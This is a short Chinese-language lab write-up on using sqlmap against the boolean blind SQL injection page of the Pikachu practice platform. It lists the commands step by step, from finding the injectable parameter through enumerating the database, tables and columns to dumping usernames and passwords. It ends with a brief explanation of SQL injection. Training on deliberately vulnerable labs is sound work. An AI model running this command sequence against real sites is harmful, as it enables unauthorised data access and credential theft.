本文章仅供学习和参考!
欢迎交流~
一、实验题目:sqlmap使用
通过sqlmap对漏洞平台的盲注(base on boolean)进行实验
二、环境准备:
1. 漏洞练习平台:https://buuoj.cn/
2. kali虚拟机
三、实验过程:
1. 通过pikachu平台的盲注(base on boolian)进行实验:
2. 复制链接,进入kali进行sqlmap测试:
命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询"
结果如下:
发现注入点,参数是name,后面是sqlmap使用的payload
3. 使用 --current-db语句查看当前的库名:
命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询" --current-db
结果如下:
当前数据库名为pikachu
4. 用-D指定数据库名,用--tables获取表名:
命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询" -D pikachu --tables
结果如下:
5. 用-T指定表名,用--columns获取列名:
命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询" -D pikachu -T users --columns
结果如下:
6. 用-C指定列名,用--dump获取表中的用户名和密码:
命令:sqlmap -u "http://3ecd3b68-144e-4b49-afda-9d2a2926ab17.node4.buuoj.cn:81/vul/sqli/sqli_blind_b.php?name=123&submit=查询" -D pikachu -T users -C username,password --dump
结果如下:
获取到了3个用户的明文密码。
四、实验总结:
1.SQL注入原理:
程序命令没能对用户输入的内容能作出正确的处理,导致执行非预期命令或访问数据,即接受的相关参数未经正确处理直接带入数据库进行查询操作。
2.SQL注入漏洞的产生满足两个条件:
(1)参数用户可控,即前段传给后端的参数内容是用户可以控制的
(2)参数带入数据库查询,即传入的参数拼接到SQL语句并带入数据库查询